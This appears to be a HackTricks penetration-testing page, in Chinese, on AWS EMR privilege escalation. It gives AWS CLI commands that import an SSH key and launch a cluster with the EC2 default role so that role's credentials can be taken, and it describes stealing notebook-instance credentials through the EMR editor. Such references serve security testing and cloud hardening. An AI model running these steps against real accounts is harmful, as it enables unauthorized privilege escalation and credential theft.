AWS - EMR Privesc

支持 HackTricks

EMR

更多关于 EMR 的信息

iam:PassRole, elasticmapreduce:RunJobFlow

拥有这些权限的攻击者可以 运行一个新的 EMR 集群并附加 EC2 角色,并尝试窃取其凭证。 请注意,为此您需要 知道账户中导入的一些 ssh 私钥 或导入一个,并能够 在主节点上打开 22 端口(您可能能够通过 --ec2-attributes 中的 EmrManagedMasterSecurityGroup 和/或 ServiceAccessSecurityGroup 属性来做到这一点)。

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

注意如何在 --service-role 中指定 EMR 角色,以及在 --ec2-attributes 中指定 ec2 角色。然而,这种技术仅允许窃取 EC2 角色凭证(因为您将通过 ssh 连接),而无法获取 EMR IAM 角色。

潜在影响: 提升到指定的 EC2 服务角色。

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

拥有这些权限的攻击者可以进入 AWS 控制台,创建一个 Notebook 并访问它以窃取 IAM 角色。

即使在我的测试中将 IAM 角色附加到 Notebook 实例,我注意到我能够窃取 AWS 管理的凭证,而不是与 IAM 角色相关的凭证。

潜在影响: 提升到 AWS 管理角色 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

仅凭此权限,攻击者将能够访问 Jupyter Notebook 并窃取与之关联的 IAM 角色。 Notebook 的 URL 是 https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

即使在我的测试中将 IAM 角色附加到 Notebook 实例,我注意到我能够窃取 AWS 管理的凭证,而不是与 IAM 角色相关的凭证。

潜在影响: 提升到 AWS 管理角色 arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

支持 HackTricks

Last updated